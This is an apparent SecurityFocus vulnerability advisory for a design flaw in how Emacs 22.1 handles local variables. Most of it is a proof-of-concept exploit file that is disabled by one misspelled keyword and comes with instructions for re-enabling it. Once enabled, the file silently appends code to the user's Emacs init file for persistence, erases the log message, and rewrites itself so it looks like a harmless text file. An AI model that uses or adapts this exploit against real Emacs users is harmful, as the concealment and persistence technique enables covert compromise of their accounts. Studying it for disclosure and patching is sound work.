source: http://www.securityfocus.com/bid/26327/info

Emacs is prone to a vulnerability that lets attackers execute arbitrary code.

Due to a design error, the application ignores certain security settings and modifies local variables.

By supplying a malicious file, an attacker can exploit this issue to carry out various attacks, including executing arbitrary code in the context of the application. This may facilitate remote unauthorized access.

This issue affects Emacs 22.1; other versions may be vulnerable as well. 

This is a harmless text file.  Or at least it looks like one.  In
fact, it is.  But it's almost not.  If you were to change the word
"variaboles" below to "variables", then load it into a vulnerable
Emacs 22 with `enable-local-variables' set to :safe, it would rewrite
the local variables list in the buffer itself to _look_ like a
harmless text file, while in fact managing to add some evil code to
the end of your user-init-file.  Woopsy.

| Local variaboles:
| hack-local-variables-hook: ((lambda () (save-excursion (with-temp-buffer (insert "\n(run-with-timer 1 nil (lambda () (beep) (message \"Your Emacs init file is compromised!\")))") (append-to-file (point-min) (point-max) user-init-file)) (message nil) (with-current-buffer (get-buffer "*Messages*") (when (search-backward (concat "Added to " user-init-file) nil t) (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))))) (goto-char (point-max)) (search-backward "| hack-local-variables-hook") (let ((start (point-at-bol))) (forward-line +1) (delete-region start (point))) (insert "| mode: text\n") (set-buffer-modified-p nil) (text-mode))))
| End: